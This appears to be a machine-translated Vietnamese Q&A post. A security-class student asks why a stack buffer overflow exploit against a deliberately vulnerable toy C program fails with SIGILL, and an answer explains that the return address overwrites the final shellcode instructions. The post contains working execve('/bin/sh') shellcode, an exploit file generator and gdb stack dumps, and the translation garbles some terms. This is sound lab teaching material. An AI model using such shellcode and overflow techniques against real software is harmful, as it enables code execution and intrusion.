2011-09-30 33 views
5

tôi đang làm việc trên dự án tràn bộ đệm của tôi cho lớp an ninh của tôi, tôi nghĩ rằng tôi có mọi thứ thiết lập đúng, nhưng khi tôi chạy nó tôi nhận được:Bắt SIGILL khi cố gắng thực hiện đệm tấn công tràn

Program received signal SIGILL, Illegal Instruction. 
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22 
22  fread(str,sizeof(char),517,badfile); 

Heres stack.c

int bof(char *str) 
{ 
    char buffer[12]; 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

đây là exploit.c

char code[]= 

"\x31\xc0"      // xorl   %eax,%eax 

"\x50"       // pushl  %eax 

"\x68\x6e\x2f\x73\x68"   // pushl  $0x68732f6e 

"\x68\x2f\x2f\x62\x69"   // pushl  $0x69622f2f 

"\x89\xe3"      // movl   %esp,%ebx 

"\x99"       // cltd 

"\x52"       // pushl  %edx 

"\x53"       // pushl  %ebx 

"\x89\xe1"      // movl   %esp,%ecx 

"\xb0\x0b"      // movb   $0xb,%al 

"\xcd\x80"      // int   $0x80 

; 

char retaddr[] = "\x70\xF2\xFF\xBF"; 

void main(int argc, char **argv) 
{ 
    char strr[517]; 
    strr[0] = 'Z'; 
    strr[1] = 0; 
    strr[2] = '\x00'; 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(buffer, 0x90, 517); 

    /* You need to fill the buffer with appropriate contents here */ 
    //memcpy(buffer, "EGG=", 4); 

    memcpy(buffer, code, 24); 

    memcpy(buffer+20,retaddr,4); 

    memcpy(buffer+24,"\x00\x00\x00\x00",4); 


    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile);  
} 

đây là ngăn xếp khi chạy. Bắt đầu chương trình:/home/john/stack

Breakpoint 1, bof (
str=0xbffff2b7 "1\300Phn/shh//bi\211\343\231RS\211\341p\362\377\277") 
at stack.c:13 
13  strcpy(buffer, str); 
(gdb) x/12xw $esp 
0xbffff270: 0x00000205 0xbffff298 0x004a13be 0x0804b008 
0xbffff280: 0xbffff2b7 0x00000205 0xb7fef6c0 0x00584ff4 
0xbffff290: 0x00000000 0x00000000 0xbffff4c8 0x0804850f 
(gdb) s 
14  return 1; 
(gdb) x/12xw $esp 
0xbffff270: 0xbffff284 0xbffff2b7 0x004a13be 0x0804b008 
0xbffff280: 0xbffff2b7 0x6850c031 0x68732f6e 0x622f2f68 
0xbffff290: 0x99e38969 0xe1895352 0xbffff270 0x08048500 
(gdb) c 
Continuing. 

Bất kỳ ý tưởng nào tại sao tôi nhận được SIGILL?

Trả lời

4

Vì bạn đang thực thi mã bất hợp pháp. Trong số exploit.c, bạn ghi đè số bù trừ 20-23 bằng địa chỉ trả lại - các byte trước đây là b0 0b cd 80 tương ứng với hai hướng dẫn mov $0xb,%alint $0x80 cuối cùng. Các byte bằng không bạn đặt vào có mã bất hợp pháp.

Vì địa chỉ trả về phải đi đến mức bù trừ cụ thể cho mục tiêu này, bạn cần phải sửa đổi mã shell của mình để không sử dụng dữ liệu đó. Tôi muốn đề nghị hoặc di chuyển mã shell để sau khi bù đắp đó và chỉ địa chỉ trả lại ở đó, hoặc đặt trong một bước nhảy qua địa chỉ trả về để bộ vi xử lý không cố gắng thực hiện nó.

+0

Tôi nhận được địa chỉ ngoài giới hạn khi đặt nó sau lần truy cập. – jwineman

Các vấn đề liên quan